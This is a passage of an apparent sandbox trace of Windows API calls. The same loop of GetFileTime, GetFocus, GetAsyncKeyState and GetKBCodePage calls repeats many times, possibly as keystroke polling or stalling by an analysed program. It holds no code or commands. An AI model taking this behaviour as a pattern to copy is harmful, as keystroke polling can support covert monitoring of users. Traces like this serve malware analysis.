0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.143] GetFocus () returned 0x0 [0254.143] GetAsyncKeyState (vKey=58) returned 0 [0254.143] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.144] GetAsyncKeyState (vKey=58) returned 0 [0254.144] GetKBCodePage () returned 0x1b5 [0254.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.144] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.145] GetAsyncKeyState (vKey=58) returned 0 [0254.145] GetKBCodePage () returned 0x1b5 [0254.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.145] GetFocus () returned 0x0 [0254.146] GetAsyncKeyState (vKey=58) returned 0 [0254.146] GetKBCodePage () returned 0x1b5 [0254.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.146] GetFocus () returned 0x0 [0254.146] GetAsyncKeyState (vKey=58) returned 0 [0254.146] GetKBCodePage () returned 0x1b5 [0254.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.146] GetFocus () returned 0x0 [0254.146] GetAsyncKeyState (vKey=58) returned 0 [0254.146] GetKBCodePage () returned 0x1b5 [0254.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.146] GetFocus () returned 0x0 [0254.146] GetAsyncKeyState (vKey=58) returned 0 [0254.146] GetKBCodePage () returned 0x1b5 [0254.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.146] GetFocus () returned 0x0 [0254.146] GetAsyncKeyState (vKey=58) returned 0 [0254.146] GetKBCodePage () returned 0x1b5 [0254.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.147] GetFocus () returned 0x0 [0254.147] GetAsyncKeyState (vKey=58) returned 0 [0254.147] GetKBCodePage () returned 0x1b5 [0254.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 